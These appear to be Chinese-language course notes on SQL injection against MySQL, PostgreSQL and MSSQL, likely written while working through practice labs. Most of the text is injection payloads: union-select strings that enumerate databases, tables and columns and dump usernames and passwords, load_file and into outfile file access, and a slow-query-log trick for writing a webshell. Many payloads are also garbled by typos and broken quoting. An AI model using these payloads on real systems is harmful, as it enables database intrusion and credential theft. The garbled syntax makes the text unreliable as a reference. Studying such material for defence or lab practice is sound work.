目录
#知识点:
1、SQL注入-MYSQL数据库
2、SQL注入-MSSQL数据库(sqlsever)
3、SQL注入-PostgreSQL数据库
#详细点:
Access无高权限注入点-只能猜解,还是暴力猜解
MYSQL,PostgreSQL,MSSQL高权限注入点-可升级读写执行等
案例演示1
MYSQL-root高权限读写注入
select load file(' '):进行文件读取
select 'xxxx' into outfile 'd:/1.txt':进行文件写入
读取此路径下的conn.php
报错原因:在书写路径时不能使用“\”,要用“\”或者“/”
查看源代码,信息泄露
MYSQL注入中load file()函数的进一步应用:
路径获取:
1.phpinfo
2.报错
3.字典等
读取配置性文件
root用户注入读写不成功:
secure-file-priv:限制操作路径
无法写入:securefilepriv突破
注入中需要支持SQL执行环境,没有就需要借助phpmyadmin或能够直接连上对方数据库进行绕过
set global slow query_log=1; 开启日志记录
set global slow_query _log_file='shell路径'; 设置日志记录路径
select ''or SLEEP(11); 执行一句话木马后门
案例演示2
PostgreSQ4-高权限读写注入
-测列数:
order by 4 正确
orderby 5 错误
and 1=2 union select null,null,null,null
-测显位:第2,3
and 1=2 union select 'null',null,null,null 错误
and 1=2 union select null,'null',null,null 正常
and 1=2 union select null,null,'null',null 正常
and 1=2 union select null,null,null,'nul' 错误
-获取信息:
and 1=2 UNION SELECT null,version(),null,null
and 1=2 UNION SELECT null,current user,null,null
and 1=2 union select null,current database(),null,null
-获取数据库
and 1=2 union select null,stringagg(datname,','),null,null from pgdatabase
string_agg(datname,','):将数据库以逗号分割
-获取表名
1.and 1=2 union select null,stringagg(relname,',’),null,null from pgstat_user-tables
2.and 1=2 union select null,string_agg(relname,',’),null,null from pg tables where schemaname='public'
-获取列名:
and 1=2 umion select null,stringagg(column name,’,’),null,null from informationschema.columns where tablename='regusers'
-获取数据
and 1=2 union select null,stringagg(name',' ),stringagg(password','),null from reg_users
-补充-获取dba用户(同样在DBA用户下,是可以进行文件读写的)
and 1=2 union select null,stringagg(usename','),null,null FROM pguser WHERE usesuper IS TRUE
参考:http:// https://www.freebuf.com/sectool/249371.html
案例演示3
MSSQL-sa高权限读写执行注入
3错误
4正确 5错误
-测列数:
order by 4
and 1=2 union all select null,null,null,null
2,3都有回显
-测显位:
and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,'s',null
-获取信息:
@@version 获取版本信息
db_name()当前数据库名字
user、systemuser,currentuser,user_name 获取当前用户名
@@SERVERNAME 获取服务器主机信息
and 1=2 union all select null,db_name(),null,null
-查询表名:
and 1=2 union all select nul,(select top 1 name from mozhe dbv2.dbo.sysobjects where xtype='u'),null,null
查询其他表:
and 1=2 union all select null.(select top 1 name from mozhedb -v2.dbo.sysobjects where xtype='u' and name not in ('manage”),null,null
-查询列名:
and 1=2 union all select null,(select top 1 colname(objectid('manage’),1) from sysobjects),null,null
-查询数据:
and 1=2 and 1=2 union all select null,username, password ,null from manage